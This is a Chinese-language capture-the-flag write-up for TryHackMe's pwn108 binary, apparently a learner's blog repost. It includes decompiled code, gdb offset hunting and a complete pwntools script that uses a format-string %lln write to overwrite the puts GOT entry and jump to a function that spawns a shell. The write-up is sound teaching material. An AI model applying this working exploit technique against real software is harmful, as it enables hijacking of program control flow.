thm_pwn108

admin 2024年11月21日13:14:50评论6 views字数 4258阅读14分11秒阅读模式

pwn108-GOT (Global Offset Table)

checksec

h:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

1.RELRO的保护机制可用于防护GOT hijacking,其全名为Relocation Read-Only

2.Partial RELRO,这种情况下,GOT可写

运行情况

输入name,和 No

thm_pwn108

No存在格式化字符漏洞

IDA分析

main函数是

int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32];// [rsp+0h] [rbp-90h] BYREF
char format[104];// [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v7;// [rsp+88h] [rbp-8h]
  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  banner();
puts("      THM University 📚");
puts(asc_402198);
printf("n=[Your name]: ");
  read(0, buf,0x12uLL);
printf("=[Your Reg No]: ");
  read(0, format,0x64uLL);
puts("n=[ STUDENT PROFILE ]=");
printf("Name         : %s", buf);
printf("Register no  : ");
printf(format);
printf("Institue     : THM");
puts("nBranch       : B.E (Binary Exploitation)n");
puts(
"n"
"                    =[ EXAM SCHEDULE ]=  ");
return v7 - __readfsqword(0x28u);

第一次输入buf,32字节,read有字节限制,format104字节,多了个v7,占8字节

buf->format->canary>s_8->r_8,因为有canary,利用格式化字符串漏洞,得到它

holidays函数如下:起始地址为40123B

unsigned __int64 holidays()
{
  _WORD v1[7];// [rsp+2h] [rbp-Eh] BYREF

*(_QWORD *)&v1[3]= __readfsqword(0x28u);
strcpy((char*)v1,"exams");
printf("nNo more %s for you enjoy your holidays 🎉nAnd here is a small gift for youn",(constchar*)v1);
  system("/bin/sh");
return*(_QWORD *)&v1[3]- __readfsqword(0x28u);
}

gdb调试

canary? NO!

现在有经验了,反正canary的值在这里就是 $rbp-0x8

thm_pwn108

距离变量有17行,所以先找到变量位置

import sys
from pwn import*
from struct import*

exe ='./pwn108'
context.binary = ELF(exe,checksec=False)

payload =b"yly"
#p = process(exe)
p=gdb.debug(exe,"b main")
p.sendline(payload)
payload2=b"AB.%lX.%lX.%lX.%lX.%lX"
p.sendline(payload2)
p.recvline()
p.interactive()

Register no : AB.7FFD34CF1C20.0.0.73.FFFFFFFF

没出现,继续找

thm_pwn108

那就是变量在 %10$lx(这里犯了一个错误),canary在 %27$lx

嘶,但最后验证的时候为什么不对呢,

噢找错了,好像是从第二个输入变量开始数起(?)

thm_pwn108

欧克,是%23$lX

thm_pwn108

不出意外的话就是:

b"A"*104+p64(canary)+b"A"*8+p64(holidays)

第二个输入得到了canary,问题是,程序结束了啊?嘶

看了wp,它不需要canary

。。。咳咳

所以总结一下,为什么是%23$lx,因为第一个输入参数就决定了后面的栈结构%6$lx是第一个参数的值!后面有图,这里不赘述啦

过程分析

GOT

Using a format string we overwrite the GOT

https://book.hacktricks.xyz/cn/binary-exploitation/write-what-where-2-exec/aw2exec-got-plt#got-quan-ju-pian-yi-biao

全局偏移表 (GOT) 是在动态链接二进制文件中使用的机制,用于管理外部函数的地址。由于这些地址直到运行时才知道(由于动态链接),GOT 提供了一种在这些外部符号解析后动态更新这些地址的方法。

为什么要通过GOT?

https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/got-overwrite

说是覆盖GOT表中的一个函数地址,即可跳转过去

thm_pwn108

也就是第一个输入先写入一个GOT地址

在第二个输入去替换

答案

import sys
from pwn import*
from struct import*

exe ='./pwn108'
binary=context.binary = ELF(exe,checksec=False)

puts_got=binary.got['puts']
holidays=binary.symbols['holidays']

payload = p64(puts_got)
p = process(exe)
#p=gdb.debug(exe,"b main")
p.sendline(payload)
p.recvuntil("No]:")
payload2=b"%"+str(holidays).encode("utf-8")+b"s%6$lln"
print(f"payload2:{payload2}")
p.sendline(payload2)
p.interactive()

继续分析

第一次read的情况,它就已经写进去了

thm_pwn108

第二次read,

thm_pwn108

把holidays函数入口地址字符串化

但是呢,%4198971s%6$lln是什么意思?

https://zhuanlan.zhihu.com/p/465896542

。。。我都复现不了上述链接的漏洞,输出和参考有差异

编译时去掉一些保护就好了

gcc -z execstack -z lazy -o test test.c

#include <stdio.h>

intmain()
{
char buf[32];
//read(0,buf,0x100uLL);
//printf(buf);
//printf("%d,%d,%d,%4$d");
int a;
printf("0123456789%nn",&a);
printf(a);
printf("The value of a is %d", a);

return0;
}

这样运行的结果是a=10

https://www.geeksforgeeks.org/g-fact-31/

这个是把整数写到了a里

#include <stdio.h>

int main()
{
    char buf[32];
    read(0,buf,0x100uLL);
    printf(buf);
    return 0;
}

gcc -z execstack -z lazy -o t1 t1.c

当我输入AB.%6$lx,我突然想到了

回到pwn108,这样输入一下

thm_pwn108

噢,很显然,%6$lX是第一个参数的数据,所以难怪

%6$lln就是对第一个参数进行操作,那就是覆盖第一个参数数据

https://owasp.org/www-community/attacks/Format_string_attackthm_pwn108

%n,将一个整数作为数据写进内存中的位置

思路

所以,第一个参数给一个内存地址

第二个参数:%4198971s%6$lln 那就是把前面的这个数值作为数据写到第一个参数地址去

总结

GOT利用,覆盖地址

printf的%n格式化参数的利用

自己常用的编译器已经自带安全措施了,所以想要利用漏洞,反而要编译时去掉这些安全措施

不懂的还有很多:

1.比如为什么是%419871s这种形式,数字我理解,你这个%s是什么意思?也不像读取字符串啊

2.所以GOT地址,比如puts_got存储了此got地址,而这个got地址又存了真正的puts函数地址,如果被覆盖,那就会跳转到其它地方?

参考

wp:https://vvelitkn.com/binary%20exploitation/Pwn101-TryHackMe-CTF-Writeup/

GOT:https://book.hacktricks.xyz/cn/binary-exploitation/write-what-where-2-exec/aw2exec-got-plt#got-quan-ju-pian-yi-biao

https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/got-overwrite

GOT案例篇:https://zhuanlan.zhihu.com/p/615039713

格式化参数:https://owasp.org/www-community/attacks/Format_string_attack

原文始发于微信公众号(羽泪云小栈):thm_pwn108

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:14:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   thm_pwn108http://cn-sec.com/archives/3401110.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息